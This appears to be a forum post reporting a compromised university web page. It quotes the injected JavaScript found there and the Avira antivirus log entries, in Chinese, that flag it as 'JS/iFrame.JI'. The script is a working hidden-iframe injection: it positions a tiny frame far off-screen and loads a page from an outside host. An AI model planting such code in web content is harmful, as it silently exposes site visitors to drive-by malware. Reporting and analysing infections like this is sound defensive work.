http://scican.net/~bwilliam/MCBA

fireold

1. var _q = document.createElement('iframe'),
   
2.     _n = 'setAttribute';
   
3. _q[_n]('src', 'http://pdabattery.net/ads/counter.php');
   
4. _q.style.position = 'absolute';
   
5. _q.style.width = '16px';
   
6. _q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7d03d1087e22') + 1);
   
7. _q.style.left = '-6200px';
   
8. document.write('<div id=\'pzadv\'></div>');
   
9. document.getElementById('pzadv').appendChild(_q);

复制代码

Avira

013/7/28 下午 06:33 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\Q4CFJPIR\MCBA[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.JI [virus]'
      執行的動作：傳輸至掃描程式

2013/7/28 下午 06:33 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\Q4CFJPIR\MCBA[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.JI [virus]'
      執行的動作：拒絕存取

2013/7/28 下午 06:33 [Web Protection] 發現惡意程式碼
      從 URL "http://www.scican.net/~bwilliam/MCBA/" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.JI' [virus]。
      已採取動作：已略過